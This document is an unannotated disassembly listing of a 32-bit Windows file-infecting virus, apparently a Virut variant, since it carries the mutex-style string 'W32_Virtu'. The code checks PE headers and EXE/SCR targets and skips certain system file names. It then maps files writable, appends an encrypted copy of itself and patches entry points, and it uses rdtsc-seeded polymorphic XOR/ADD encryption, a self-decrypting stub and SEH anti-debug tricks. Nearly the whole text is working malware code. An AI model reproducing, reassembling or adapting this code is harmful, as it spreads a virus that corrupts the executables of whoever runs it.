		mov	eax, [eax+2]
		sub	eax, [ebx+34h]
		push	eax
		call	sub_415EA4
		cmp	[ebp+4039A6h], edi
		jnz	loc_41694B
		add	eax, dword ptr ss:loc_4039AA[ebp]
		add	eax, [ebp+403972h]
		mov	eax, [eax]
		sub	eax, [edi+0Ch]
		jb	loc_41694B
		cmp	eax, [edi+8]
		jnb	loc_41694B


loc_416887:				; CODE XREF: sub_416923+22j
		add	eax, 2
		add	eax, [edi+14h]
		add	eax, [ebp+403972h]
		push	edx
		push	eax
		push	dword ptr [ebp+4039BEh]
		call	dword ptr ss:loc_403548[ebp]
		pop	edx
		test	eax, eax
		jnz	loc_416961
		jmp	loc_41694B
; ---------------------------------------------------------------------------


loc_4168AF:				; CODE XREF: sub_416923-11Cj
		cmp	al, 0FFh
		jnz	loc_41694B
		cmp	byte ptr [esi],	15h
		jnz	loc_41694B
		mov	eax, [esi+1]
		sub	eax, [ebx+34h]
		push	eax
		call	sub_415EA4
		cmp	[ebp+4039A6h], edi
		jnz	short loc_41694B
		add	eax, dword ptr ss:loc_4039AA[ebp]
		add	eax, [ebp+403972h]
		mov	[ebp+4039CAh], eax
		mov	eax, [eax]
		cmp	eax, dword ptr ss:loc_4039C2[ebp]
		jb	short loc_4168F8
		cmp	eax, [ebp+4039C6h]
		jb	short loc_416961


loc_4168F8:				; CODE XREF: sub_416923-35j
		cmp	eax, 70000000h
		jb	short loc_416936
		call	sub_416923
		lea	ecx, [esi-4]
		mov	eax, ecx
		sub	eax, [edx]
		add	eax, [edx+10h]
		cmp	eax, [ebp+4039CAh]
		jnz	short locret_416922
		add	esp, 10h
		push	dword ptr [ecx]
		pop	[esp-0Ch+arg_24]
		popa
		jmp	short loc_41693D
; ---------------------------------------------------------------------------

locret_416922:				; CODE XREF: sub_416923-Fj
		retn
; END OF FUNCTION CHUNK	FOR sub_416923

; =============== S U B	R O U T	I N E =======================================



sub_416923	proc near		; CODE XREF: sub_416923-24p

var_8		= dword	ptr -8
arg_0		= dword	ptr  4
arg_24		= dword	ptr  28h

; FUNCTION CHUNK AT 00416804 SIZE 0000011F BYTES

		pop	dword ptr [ebp+403992h]
		pusha
		mov	esi, [ebp+403972h]
		call	sub_415FAB
		popa


loc_416936:				; CODE XREF: sub_416923-26j
		test	eax, 80000000h
		jnz	short loc_41694B


loc_41693D:				; CODE XREF: sub_416923-3j
		sub	eax, [edi+0Ch]
		jb	short loc_41694B
		cmp	eax, [edi+8]
		jb	loc_416887


loc_41694B:				; CODE XREF: sub_416923-F9j
					; sub_416923-EBj ...
		dec	ecx
		jnz	loc_416804


loc_416952:				; CODE XREF: sub_41676A+9j
					; __u_____:004167ECj ...
		mov	edi, [esp-4+arg_0]
		and	dword ptr [edi+2431h], 7FFFFFFFh
		jmp	short loc_41699D
; ---------------------------------------------------------------------------


loc_416961:				; CODE XREF: sub_416923-7Fj
					; sub_416923-2Dj
		or	dword ptr [edx+24h], 0E0000060h
		dec	esi
		xor	eax, eax
		mov	ecx, [esp+8+var_8]
		xchg	eax, dword ptr ss:loc_4039AE[ebp]
		lea	edi, [ecx+2435h]
		add	eax, [ebp+403972h]
		movsw
		movsd
		dec	esi
		sub	eax, esi
		add	eax, [edx+14h]
		sub	eax, [edx+0Ch]
		mov	byte ptr [esi-5], 0E8h
		mov	dword ptr [ecx+52h], 5
		mov	[esi-4], eax


loc_41699D:				; CODE XREF: sub_416923+3Cj
		pop	edi
		pop	esi
		retn
sub_416923	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_4169A0	proc near		; CODE XREF: __u_____:00416B6Ep
					; sub_416B96+127p
		lea	esi, [ebp+40384Eh]
		push	esi
		call	dword ptr ss:loc_40357C[ebp]
		cmp	eax, 0FFFFFFFFh
		jz	locret_416A71
		mov	dword ptr ss:loc_403952[ebp], eax
		push	0
		push	esi
		call	dword ptr [ebp+4035B4h]
		test	eax, eax
		jz	locret_416A71
		sub	eax, eax
		push	eax
		push	eax
		push	3
		push	eax
		push	1
		push	0C0000000h
		push	esi
		call	dword ptr [ebp+40355Ch]
		cmp	eax, 0FFFFFFFFh
		jz	loc_416F29
		mov	dword ptr ss:locret_403956[ebp], eax
		lea	ecx, sub_40395A[ebp]
		lea	edx, [ebp+403962h]
		push	ecx
		push	edx
		push	0
		push	eax
		call	dword ptr [ebp+403584h]
		cmp	eax, 0FFFFFFFFh
		jz	loc_416F1D
		push	0
		push	dword ptr ss:locret_403956[ebp]
		call	dword ptr [ebp+403580h]
		cmp	eax, 0FFFFFFFFh
		jz	loc_416F1D
		mov	dword ptr ss:loc_40396A[ebp], eax
		xor	ecx, ecx
		add	eax, ebx
		push	ecx
		push	eax
		push	ecx
		push	4
		push	ecx
		push	dword ptr ss:locret_403956[ebp]
		call	dword ptr ss:loc_403560[ebp]
		test	eax, eax
		jz	loc_416F1D
		xor	ecx, ecx
		mov	[ebp+40396Eh], eax
		push	ecx
		push	ecx
		push	ecx
		push	0F001Fh
		push	eax
		call	dword ptr [ebp+4035A0h]
		test	eax, eax
		jz	loc_416EF5
		mov	[ebp+403972h], eax

locret_416A71:				; CODE XREF: sub_4169A0+10j
					; sub_4169A0+27j ...
		retn
sub_4169A0	endp


; =============== S U B	R O U T	I N E =======================================



sub_416A72	proc near		; CODE XREF: sub_416B96+117p
					; sub_416B96+223p
		mov	eax, 69CDh
		mov	ecx, [ebx+38h]
		test	dword ptr [ebp+403431h], 10000000h
		jnz	short loc_416A8C
		add	eax, [ebp+40106Dh]


loc_416A8C:				; CODE XREF: sub_416A72+12j
		xor	edx, edx
		add	eax, ecx
		div	ecx
		mul	ecx
		mov	dword ptr ss:word_40397A[ebp], eax
		mov	eax, 243Bh
		mov	ecx, [ebx+3Ch]
		add	eax, [ebp+40106Dh]
		xor	edx, edx
		add	eax, ecx
		div	ecx
		mul	ecx
		mov	[ebp+403976h], eax
		retn
sub_416A72	endp


; =============== S U B	R O U T	I N E =======================================



sub_416AB7	proc near		; CODE XREF: sub_416B96:loc_416BE5p
					; sub_416B96+13Dp
		movzx	ecx, word ptr [ebx+6]
		stc


loc_416ABC:				; CODE XREF: sub_416AB7+23j
		jecxz	short locret_416AF3
		lea	edx, [ebx+18h]
		movzx	eax, word ptr [ebx+14h]
		add	edx, eax
		dec	ecx
		imul	eax, ecx, 28h
		add	edx, eax
		cmp	dword ptr [edx], 6E69775Fh
		stc
		jz	short locret_416AF3
		cmp	dword ptr [edx+0Ch], 1
		jb	short loc_416ABC
		mov	ecx, [ebx+3Ch]
		mov	eax, [edx+14h]
		add	eax, [edx+10h]
		lea	eax, [eax+ecx*2-1]
		neg	ecx
		and	eax, ecx
		cmp	eax, dword ptr ss:loc_40396A[ebp]

locret_416AF3:				; CODE XREF: sub_416AB7:loc_416ABCj
					; sub_416AB7+1Dj ...
		retn
sub_416AB7	endp


; =============== S U B	R O U T	I N E =======================================



sub_416AF4	proc near		; CODE XREF: __u_____:00416B80p

arg_C		= dword	ptr  10h

		mov	edx, [esp+arg_C]
		xor	eax, eax
		pop	dword ptr [edx+0B8h]
		retn
sub_416AF4	endp ; sp-analysis failed

; ---------------------------------------------------------------------------


loc_416B01:				; CODE XREF: __u_____:00416B22j
		mov	ecx, edi
		jmp	short loc_416B10
; ---------------------------------------------------------------------------
		lea	edi, [ebp+40384Eh]
		cld


loc_416B0C:				; CODE XREF: __u_____:00416B1Ej
		mov	ebx, edi
		xor	ecx, ecx


loc_416B10:				; CODE XREF: __u_____:00416B03j
					; __u_____:00416B26j
		lodsb
		cmp	al, 61h
		jb	short loc_416B1B
		cmp	al, 7Ah
		ja	short loc_416B1B
		sub	al, 20h


loc_416B1B:				; CODE XREF: __u_____:00416B13j
					; __u_____:00416B17j
		stosb
		cmp	al, 5Ch
		jz	short loc_416B0C
		cmp	al, 2Eh
		jz	short loc_416B01
		cmp	al, 0
		jnz	short loc_416B10
		jecxz	short locret_416AF3
		mov	eax, [ecx]
		cmp	eax, 455845h
		jz	short loc_416B3E
		cmp	eax, 524353h
		jnz	locret_416A71


loc_416B3E:				; CODE XREF: __u_____:00416B31j
		mov	eax, [ebx]
		cmp	eax, 434E4957h
		jz	locret_416A71
		cmp	eax, 4E554357h
		jz	locret_416A71
		cmp	eax, 32334357h
		jz	locret_416A71
		cmp	eax, 4F545350h
		jz	locret_416A71
		xor	ebx, ebx
		call	sub_4169A0
		jz	locret_416A71
		xor	edx, edx
		call	sub_416B96
		call	sub_416AF4
		call	$+5
		pop	ebp
		sub	ebp, 402F8Ah
		jmp	loc_416ED3

; =============== S U B	R O U T	I N E =======================================



sub_416B96	proc near		; CODE XREF: __u_____:00416B7Bp

var_14		= dword	ptr -14h

		push	dword ptr fs:[edx]
		mov	esi, [ebp+403972h]
		mov	fs:[edx], esp
		cmp	word ptr [esi],	5A4Dh
		jnz	loc_416ED3
		mov	ebx, [esi+3Ch]
		add	ebx, esi
		cmp	word ptr [ebx],	4550h
		jnz	loc_416ED3
		test	dword ptr [ebx+16h], 2000h
		jnz	loc_416ED3
		test	byte ptr [ebx+5Ch], 2
		mov	ecx, [esi+20h]
		jz	loc_416ED3
		jecxz	short loc_416BE5
		cmp	ecx, 101h
		jbe	loc_416ED3


loc_416BE5:				; CODE XREF: sub_416B96+41j
		call	sub_416AB7
		jb	loc_416ED3
		mov	ecx, [edx+10h]
		add	ecx, [edx+0Ch]
		mov	eax, 10000h
		push	ecx
		call	sub_4156EF
		xor	[ebp+40342Fh], dl
		mov	cl, 20h
		xor	byte ptr ss:loc_403430[ebp], dh


loc_416C0F:				; CODE XREF: sub_416B96+92j
		push	20h
		dec	cl
		pop	eax
		js	short loc_416C2A
		call	sub_4156EF
		test	edx, edx
		setz	dl
		shl	edx, cl
		xor	[ebp+403431h], edx
		jmp	short loc_416C0F
; ---------------------------------------------------------------------------


loc_416C2A:				; CODE XREF: sub_416B96+7Ej
					; sub_416B96+CDj ...
		push	6
		pop	ecx


loc_416C30:				; CODE XREF: sub_416B96+B8j
		push	6
		pop	eax
		call	sub_4156EF
		mov	al, [ebp+403429h]
		xchg	al, [edx+ebp+403429h]
		mov	[ebp+403429h], al
		loop	loc_416C30
		test	dword ptr [ebp+403431h], 8
		jnz	short loc_416C65
		cmp	byte ptr ss:loc_40342B[ebp], 1
		jz	short loc_416C2A


loc_416C65:				; CODE XREF: sub_416B96+C4j
		test	dword ptr [ebp+403431h], 1000003h
		jz	short loc_416C8C
		cmp	byte ptr [ebp+403429h],	5
		jz	short loc_416C2A
		cmp	byte ptr [ebp+40342Ah],	5
		jz	short loc_416C2A
		cmp	byte ptr ss:loc_40342B[ebp], 5
		jz	short loc_416C2A


loc_416C8C:				; CODE XREF: sub_416B96+D9j
		test	dword ptr [ebp+403431h], 80000000h
		jz	short loc_416CA1
		cmp	byte ptr [ebp+403429h],	2
		ja	short loc_416C2A


loc_416CA1:				; CODE XREF: sub_416B96+100j
		and	dword ptr ss:loc_4039AE[ebp], 0
		call	loc_41613C
		call	sub_416A72
		call	sub_416EDC
		mov	ebx, [ebp+403976h]
		call	sub_4169A0
		jz	loc_416ED3
		mov	esi, [ebp+403972h]
		mov	ebx, [esi+3Ch]
		add	ebx, esi
		call	sub_416AB7
		jb	loc_416ED3
		or	dword ptr [edx+24h], 0E0000060h
		mov	edi, esi
		push	edx
		push	esi
		add	edi, [edx+14h]
		add	edi, [edx+10h]
		test	dword ptr [ebp+403431h], 10000000h
		jnz	short loc_416D09
		lea	esi, loc_40343C[ebp]
		mov	ecx, [ebp+40106Dh]
		rep movsb


loc_416D09:				; CODE XREF: sub_416B96+163j
		push	edi
		mov	ecx, 90Fh
		lea	esi, dword_401000[ebp]
		rep movsd
		mov	cl, 0
		jecxz	short loc_416D1D
		rep movsb


loc_416D1D:				; CODE XREF: sub_416B96+183j
		test	dword ptr [ebp+403431h], 10000000h
		jz	loc_416DD5
		push	dword ptr [ebx+28h]
		call	sub_415EA4
		mov	edx, [ebp+4039A6h]
		test	edx, edx
		jz	loc_416DD5
		mov	esi, [ebp+403972h]
		mov	ecx, [edx+10h]
		or	dword ptr [edx+24h], 0E0000060h
		sub	ecx, [edx+8]
		jnb	short loc_416D5A
		xor	ecx, ecx


loc_416D5A:				; CODE XREF: sub_416B96+1C0j
		add	esi, [edx+14h]
		cmp	ecx, [ebp+40106Dh]
		mov	ecx, [ebp+40106Dh]
		jb	short loc_416DC1
		mov	edi, [esp+14h+var_14]
		and	dword ptr [ebp+40106Dh], 0
		and	dword ptr [edi+6Dh], 0
		mov	edi, [edx+8]
		add	[edx+8], ecx
		add	esi, edi
		xchg	esi, edi
		mov	eax, [ebp+403986h]
		test	dword ptr [ebp+403431h], 40h
		jz	short loc_416D9A
		neg	dword ptr [eax]


loc_416D9A:				; CODE XREF: sub_416B96+200j
		add	esi, [edx+0Ch]
		sub	[eax], esi
		mov	dword ptr ss:loc_4039AE[ebp], esi
		mov	esi, [ebx+28h]
		add	[eax], esi
		test	dword ptr [ebp+403431h], 40h
		jz	short loc_416DB8
		neg	dword ptr [eax]


loc_416DB8:				; CODE XREF: sub_416B96+21Ej
		push	ecx
		call	sub_416A72
		pop	ecx
		jmp	short loc_416DCD
; ---------------------------------------------------------------------------


loc_416DC1:				; CODE XREF: sub_416B96+1D3j
		add	esi, [ebx+28h]
		sub	esi, [edx+0Ch]
		push	ecx
		push	esi
		rep movsb
		pop	edi
		pop	ecx


loc_416DCD:				; CODE XREF: sub_416B96+229j
		lea	esi, loc_40343C[ebp]
		rep movsb


loc_416DD5:				; CODE XREF: sub_416B96+191j
					; sub_416B96+1A7j
		pop	edi
		pop	esi
		rdtsc
		xchg	eax, edx
		lea	eax, [edi+1D2h]
		cmp	dl, [ebp+40342Fh]
		jnz	short loc_416DEE
		imul	edx, 12345678h


loc_416DEE:				; CODE XREF: sub_416B96+250j
		mov	[eax-1], dl
		call	sub_414DC2
		pop	edx
		mov	ecx, [edx+0Ch]
		add	ecx, [edx+10h]
		test	dword ptr [ebp+403431h], 10000000h
		lea	eax, [ecx+6]
		jnz	short loc_416E1F
		mov	dword ptr ss:loc_4039AE[ebp], ecx
		add	eax, [ebp+40106Dh]
		and	dword ptr [edi+6Dh], 0


loc_416E1F:				; CODE XREF: sub_416B96+274j
		sub	eax, [ebx+28h]
		push	dword ptr [ebp+40397Eh]
		mov	[edi+52h], eax
		pop	dword ptr [esi+20h]
		test	dword ptr [ebp+403431h], 80000000h
		jz	short loc_416E44
		push	edx
		call	sub_41676A
		pop	edx


loc_416E44:				; CODE XREF: sub_416B96+2A5j
		mov	ecx, dword ptr ss:loc_4039AE[ebp]
		jecxz	short loc_416E4F
		mov	[ebx+28h], ecx


loc_416E4F:				; CODE XREF: sub_416B96+2B4j
		mov	ecx, [edx+10h]
		mov	eax, [ebp+403976h]
		cmp	[edx+8], ecx
		jnb	short loc_416E60
		mov	[edx+8], ecx


loc_416E60:				; CODE XREF: sub_416B96+2C5j
		add	[edx+10h], eax
		and	dword ptr [ebx+58h], 0
		mov	eax, dword ptr ss:word_40397A[ebp]
		push	243Ch
		add	[edx+8], eax
		pop	ecx
		add	[ebx+50h], eax
		mov	dl, [ebp+40342Fh]
		test	dword ptr [ebp+403431h], 10000000h
		jz	short loc_416E91
		add	ecx, [ebp+40106Dh]


loc_416E91:				; CODE XREF: sub_416B96+2F3j
		mov	dh, 0
		test	dword ptr [ebp+403431h], 20000h
		jnz	short loc_416EB3
		inc	dh
		test	dword ptr [ebp+403431h], 40000h
		jnz	short loc_416EB3
		mov	dh, byte ptr ss:loc_403430[ebp]


loc_416EB3:				; CODE XREF: sub_416B96+307j
					; sub_416B96+315j
		test	dword ptr [ebp+403431h], 4000h
		jnz	short loc_416ECA


loc_416EBF:				; CODE XREF: sub_416B96+330j
		mov	al, [edi]
		add	al, dl
		stosb
		add	dl, dh
		loop	loc_416EBF
		jmp	short loc_416ED3
; ---------------------------------------------------------------------------


loc_416ECA:				; CODE XREF: sub_416B96+327j
					; sub_416B96+33Bj
		mov	al, [edi]
		xor	al, dl
		stosb
		add	dl, dh
		loop	loc_416ECA


loc_416ED3:				; CODE XREF: __u_____:00416B91j
					; sub_416B96+11j ...
		xor	edx, edx
		mov	esp, fs:[edx]
		pop	dword ptr fs:[edx]
		pop	eax
sub_416B96	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_416EDC	proc near		; CODE XREF: sub_416B96+11Cp
		cmp	dword ptr ss:locret_403956[ebp], 0
		jz	locret_416A71
		push	dword ptr [ebp+403972h]
		call	dword ptr [ebp+4035C4h]


loc_416EF5:				; CODE XREF: sub_4169A0+C5j
		push	dword ptr [ebp+40396Eh]
		call	dword ptr [ebp+40353Ch]
		lea	ecx, sub_40395A[ebp]
		lea	edx, [ebp+403962h]
		push	ecx
		push	edx
		push	0
		push	dword ptr ss:locret_403956[ebp]
		call	dword ptr [ebp+4035B8h]


loc_416F1D:				; CODE XREF: sub_4169A0+6Bj
					; sub_4169A0+82j ...
		push	dword ptr ss:locret_403956[ebp]
		call	dword ptr [ebp+40353Ch]


loc_416F29:				; CODE XREF: sub_4169A0+45j
		lea	esi, [ebp+40384Eh]
		push	dword ptr ss:loc_403952[ebp]
		push	esi
		call	dword ptr [ebp+4035B4h]
		and	dword ptr ss:locret_403956[ebp], 0
		retn
sub_416EDC	endp

; ---------------------------------------------------------------------------
		dd 0E8h, 16A5D00h, 3349ED81h, 0F0580040h, 8085C10Fh, 85004015h
		dd 0C883C3C0h, 0C10FF0FFh, 40158085h, 103DC300h, 75002A00h
		dd 7C81661Ch, 716C0C24h, 0E8601375h, 0FFFFFFC4h, 7EE80575h
		dd 0E8FFFFFBh, 0FFFFFFD2h, 2DFF2E61h, 12345678h, 25B8h
		dd 0A5E86000h, 75FFFFFFh, 24448B39h, 4EB58D30h,	8B004038h
		dd 81660850h, 7302063Ah, 685625h, 8B00FF00h, 52006AC4h
		dd 0F895FF50h, 83004035h, 3E8108C4h, 5C3F3F5Ch,	0C6830375h
		dd 0FB2BE804h, 7FE8FFFFh, 61FFFFFFh, 74B8C3h, 0B1EB0000h
		dd 2FB8h, 10E800h, 20C20000h, 30B800h, 3E80000h, 0C2000000h
		dd 548D0024h, 2ECD0C24h, 7C00F883h, 0E86019h, 8B000000h
		dd 5D302454h, 0ED811A8Bh, 403413h, 0FFE539E8h, 4C261FFh
		dd 7060100h, 51050203h,	0EE904487h, 3815FF33h, 90004432h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		call	sub_417059
		jmp	short $+2
		nop
		cmc
		nop
		call	near ptr word_4170FE
		mov	ebp, 0CB982DF4h
		cmc
		jmp	loc_417090

; =============== S U B	R O U T	I N E =======================================



sub_417059	proc near		; CODE XREF: __u_____:0041703Fp
		push	dword ptr fs:0
		mov	dword ptr ds:loc_412012+1, ebp
		stc
		mov	fs:0, esp
		xor	ebx, ebx
		push	80000000h
		push	ebx
		push	ebx
		push	10h
		push	ebx
		push	80000000h
		push	80000000h
		push	4000h
		call	ds:dword_40700C	; LoadLibraryA


loc_417090:				; CODE XREF: __u_____:00417054j
		stc
		sub	eax, eax


loc_417093:				; CODE XREF: sub_417059+40j
		dec	al
		or	al, al
		jz	short loc_41709D
		jnz	short loc_417093
		jmp	short near ptr dword_417104
; ---------------------------------------------------------------------------


loc_41709D:				; CODE XREF: sub_417059+3Ej
		clc
		jmp	short $+2
		xchg	ebx, ebx
		mov	edx, edx
		stc
		call	loc_4170AC
		nop
		stc
sub_417059	endp ; sp-analysis failed



loc_4170AC:				; CODE XREF: sub_417059+4Cp
		pop	edx
; ---------------------------------------------------------------------------
		db 3 dup(0)
		dd 13h dup(0)
		db 2 dup(0)
word_4170FE	dw 0			; CODE XREF: __u_____:00417049p
		dd 0
dword_417104	dd 0Eh dup(0)			dd 7C809B47h, 7C8308ADh, 7C910331h, 7C80ADA0h, 3 dup(0)
		dd 7C80BDB6h, 7C801A24h, 7C80945Ch, 7C802367h, 7C81042Ch
		dd 7C810637h, 7C864B0Fh, 7C80C058h, 7C80E7ECh, 7C81153Ch
		dd 7C810A77h, 7C831C45h, 7C80B6A1h, 7C8608FFh, 7C835DCAh
		dd 7C8111DAh, 7C812ADEh, 7C801D77h, 7C80B905h, 7C80BB76h
		dd 7C8309E1h, 7C863DE5h, 7C863F58h, 7C812782h, 7C831CB8h
		dd 7C802442h, 7C810B1Ch, 7C80B974h, 7C809A51h, 7C810D87h
		dd 7C90D460h, 7C90D682h, 7C90D754h, 7C90D769h, 7C90D793h
		dd 7C90DC55h, 7C90DCFDh, 7C90DD90h, 7C90DEB6h, 7C90EA32h
		dd 7C9130C6h, 15h dup(0)
		dd 380036h, 417258h, 42005Ch, 730061h, 4E0065h,	6D0061h
		dd 640065h, 62004Fh, 65006Ah, 740063h, 5C0073h,	330057h
		dd 5F0032h, 690056h, 740072h, 75h, 0BBh	dup(0)
		dd 710000h, 0Ch	dup(0)
		dd 0E0000000h, 7FFDh, 2692h dup(0)

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

		public start

start		proc near
		push	ebp
		mov	ebp, esp
		call	sub_421017
		call	sub_42105C
		push	dword ptr fs:0
		pop	ebp
		sub	ebp, 0FFFFFFF8h
start		endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_421017	proc near		; CODE XREF: start+3p

; FUNCTION CHUNK AT 0042108A SIZE 00000003 BYTES
; FUNCTION CHUNK AT 004210E7 SIZE 00000069 BYTES

		sub	eax, eax


loc_421019:				; CODE XREF: sub_421017+8j
		dec	al
		or	al, al
		jz	short loc_421023
		jnz	short loc_421019
		jmp	short loc_42108A
; ---------------------------------------------------------------------------


loc_421023:				; CODE XREF: sub_421017+6j
		sub	edi, edi
		sub	ecx, ecx
		mov	cl, 0B4h


loc_421029:				; CODE XREF: sub_421017+13j
		inc	edi
		loop	loc_421029
		call	$+5
		pop	esi
		sub	esi, 0FFFF9031h
		push	esi
		mov	ecx, 24A5h


loc_42103E:				; CODE XREF: sub_421017+33j
		mov	al, [esi]
		sub	ax, di
		mov	[esi], al
		inc	esi
		dec	ecx
		cmp	ecx, 0
		jnz	short loc_42103E
		pop	esi
		mov	esp, fs:0
		pop	dword ptr fs:0
		leave
		jmp	esi
sub_421017	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_42105C	proc near		; CODE XREF: start+8p

arg_C		= dword	ptr  10h

		mov	eax, [esp+arg_C]
		pop	dword ptr [eax+0B8h]
		xor	eax, eax
		retn
sub_42105C	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 0B5h, 81h, 0EDh
		dd 301006h, 1082858Dh, 8B660030h, 0FFFF9B90h, 0FF84E8FFh
		dd 5761FFFFh, 314FBD6Ah
		db 42h,	21h
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_421017


loc_42108A:				; CODE XREF: sub_421017+Aj
		dec	esp
		jmp	short loc_4210E7
; END OF FUNCTION CHUNK	FOR sub_421017
; ---------------------------------------------------------------------------
		db 5Ch,	4Bh, 7Ch
		dd 0AB55C8BCh, 0C01AE661h, 4AD3495Ah, 0BEF6A0DAh, 1B8F5987h
		dd 0CE62FA60h, 55D2D785h, 0FA39E191h, 0E867103Eh, 0A8BC1073h
		dd 4FD72132h, 0D2286EC4h, 465CE6E7h, 230FDEF5h,	2F1F50FFh
		dd 1AB5BFE4h, 0F4699928h, 5E3DF47Ah, 0BAEB6C8Bh, 0EFA80444h
		dd 8DC4469h
		db 43h,	75h, 0E3h
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_421017


loc_4210E7:				; CODE XREF: sub_421017+74j
		xor	dl, [ebp-65338E18h]
		test	ss:[eax+331F7F2Eh], ebp
		lea	esp, [ebx+18h]
		in	eax, 6Fh
		insd
		mov	ah, 0B4h
		xor	eax, 74C2AD2Eh
		inc	edi
		fsubrp	st(6), st
		push	dx
		popf
		cmp	cl, [edx]
		test	esi, 2D6FFE04h
		pop	edi
		mov	edx, 0D4990F40h
		dec	ebp
		sahf
		or	[ebx+ecx*2], bl
		mov	dl, 33h
		aas
		mov	ecx, edx
		db	3Eh
		outs	dx, byte ptr [esi]
		cmp	[ebx-6Ah], al
		call	far ptr	7563h:1305D64h
		in	eax, 0E2h
		insb
		mov	esp, 0F3C9CC03h
		pop	ebx
		pop	ebx
		shr	dword ptr [ebp-0B3AEC88h], 1
		pop	ecx
		push	0CF450077h
		xor	al, 0A2h
		sub	ebp, ds:0A81B7427h[esi]
		arpl	bp, bp
		insb
		fdivr	qword ptr [ecx]
; END OF FUNCTION CHUNK	FOR sub_421017
; ---------------------------------------------------------------------------
		dd 275AE0DAh, 1CBB1432h, 0BC1C92A3h, 0DE83F1B3h, 24E15666h
		dd 0BEE9E182h, 0DC119718h, 6285CBECh, 0DADB5112h, 0A4478D96h
		dd 0F32E76BBh, 59558081h, 8AF953DEh, 81BB4544h,	0E94F264Fh
		dd 5DA2241Bh, 2D335EE8h, 34654737h, 86BCAB9Bh, 0E52699BFh
		dd 637B6984h, 0A7EA4562h, 0A529CD31h, 0A89E243Eh, 0CF70EA1Bh
		dd 2D60D601h, 6555F03Ch, 99E19BD9h, 0DB046A7Bh,	9F07D9D4h
		dd 0C1A03E0Eh, 1CAA207Fh, 2619FD00h, 0BC6DD3CDh, 5CCACB03h
		dd 6A2FA5A6h, 0CF11320Ah, 2F786959h, 0A1DD5EF3h, 825AAC2Bh
		dd 0EE993F1Ch, 756B0D78h, 0D8FE22CFh, 29D03153h, 0E3776F18h
		dd 41A6B546h, 9DFBF8C3h, 568CA37h, 7FF292E4h, 69ABB07h
		dd 3267DEB3h, 0F4DD41BDh, 7429AFB4h, 198EA145h,	0B815E76Ch
		dd 0F1584544h, 14B04D25h, 0DD930D06h, 3E74EA8Fh, 0C0C034C9h
		dd 86369C80h, 3E93824Dh, 0ACF96F6Dh, 0A7B30150h, 0E2BD3731h
		dd 6577D412h, 1B819CA4h, 2C61D6BDh, 0EED747B7h,	9923A9B2h
		dd 0D3047B71h, 9F06C8A2h, 90213F0Eh, 9FAB211Fh,	578D01AAh
		dd 0DA37E48Bh, 0E445AFC9h, 0CD1CCF30h, 1CE36387h, 0ECF1D7EAh
		dd 0AED64C7Ah, 82BAA3AFh, 639CF80Ch, 1135F1EDh,	27109E8Bh
		dd 2520264Eh, 5E9394A3h, 0CD3061CBh, 136F9164h,	8FF41641h
		dd 983511A8h, 5287FF3Eh, 18C1635Fh, 1949BF8Eh, 0F828F924h
		dd 0A7890982h, 44EE5448h, 195F4735h, 7D82031Fh,	75ADB786h
		dd 0BF8AEBD8h, 0A559CCCAh, 437AF96h, 0CA890B05h, 0B7057040h
		dd 2E59DD50h, 8BE0419h,	5A8B90AEh, 4C7E08F4h, 35E5D7D6h
		dd 9B43B9BAh, 0C2081B1Fh, 0D576837Ch, 9E65DBD1h, 2B4B400Fh
		dd 779C09ADh, 588EFBFEh, 3B9362EDh, 91DBC6C4h, 0FE018B23h
		dd 91EC906Bh, 5B70E46Bh, 23D77D60h, 0B392B591h,	6464EE0Dh
		dd 9DFBFDEEh, 0C05DD3D1h, 0A3EB554h, 0C0E02819h, 18A7746h
		dd 76155932h, 13C14BC6h, 31CD1EFBh, 39DF07F8h, 0B871B5DDh
		dd 275F570Ah, 0F93718A1h, 0DF808383h, 43109B28h, 107A21B9h
		dd 7EB36423h, 0F4F30B08h, 0EA72AB64h, 45FB29F9h, 8EC34C06h
		dd 8F19E55Bh, 0C8FB1125h, 0A9B79FD9h, 8AD5F1B8h, 6BA1177Ch
		dd 1CC292FDh, 7F6DB385h, 3DCD2F46h, 707D9BABh, 816F3DB9h
		dd 3DE95F3Fh, 1CCB2B94h, 12A949EDh, 0B8D6F02h, 6F18E689h
		dd 7751C7A5h, 58F9A7h, 6C8175D9h, 9DF65C47h, 0AC27CB15h
		dd 84BB0DA9h, 65299F0Eh, 0FE7DC3FFh, 295EDCC4h,	0AECC5A38h
		dd 0FD207B14h, 4A8F7847h, 0B0D44E5Fh, 44BDCC5h,	72980749h
		dd 151C00AEh, 0DE6AD0F2h, 184BC1D6h, 9143CDEEh,	0AE5EF4F1h
		dd 0D199100Fh, 0C8B72F22h, 1AC14649h, 9FC60C48h, 725C347Fh
		dd 0F9DD47CCh, 56399F85h, 823AFAC4h, 5C698D8Dh,	2FDE647Fh
		dd 0B4B569F4h, 3AA07283h, 245772A0h, 218C88D9h,	4145BBBAh
		dd 9643D8F9h, 0A458190Bh, 0DB831609h, 98A92524h, 0A43BDB74h
		dd 0D1903628h, 6A27B120h, 0E1059E96h, 301FD03Dh, 0F2D0098Ah
		dd 0E63933Bh, 0CED87E66h, 7AB85A2Eh, 56B0179Ah,	49554AF0h
		dd 1C9D4D2h, 28333C55h,	7BDFC1C2h, 0D0325429h, 1467AC69h
		dd 92F610D6h, 8CFF4A1Ch, 65A5AA68h, 43AA65DFh, 0E7C8879Dh
		dd 4C2D0A7h, 0B706A0F1h, 41DA0C67h, 0AFFE05DDh,	0F474AF29h
		dd 947E9FD6h, 7077EDEFh, 15BB5F04h, 2BD42A96h, 0C16F90A1h
		dd 0DA1CB3F2h, 0FF8E5454h, 0DC916065h, 0F85D4B46h, 4FB3D20Ah
		dd 453D1A5Ch, 373144B4h, 18A31395h, 3F084E53h, 47159D0Dh
		dd 5459BD11h, 91AE1408h, 7354879Ch, 6A71E7E4h, 349F5D38h
		dd 94CCA999h, 0E324A146h, 3B0C8284h, 0A5D84EB1h, 0B5E0302Fh
		dd 36CD43D9h, 497C9BA0h, 0EFD5D4D7h, 155E5E4h, 2C72521Ch
		dd 85741D2Fh, 4D04B25Bh, 64BC3C3h, 74980B51h, 6D8AEACh
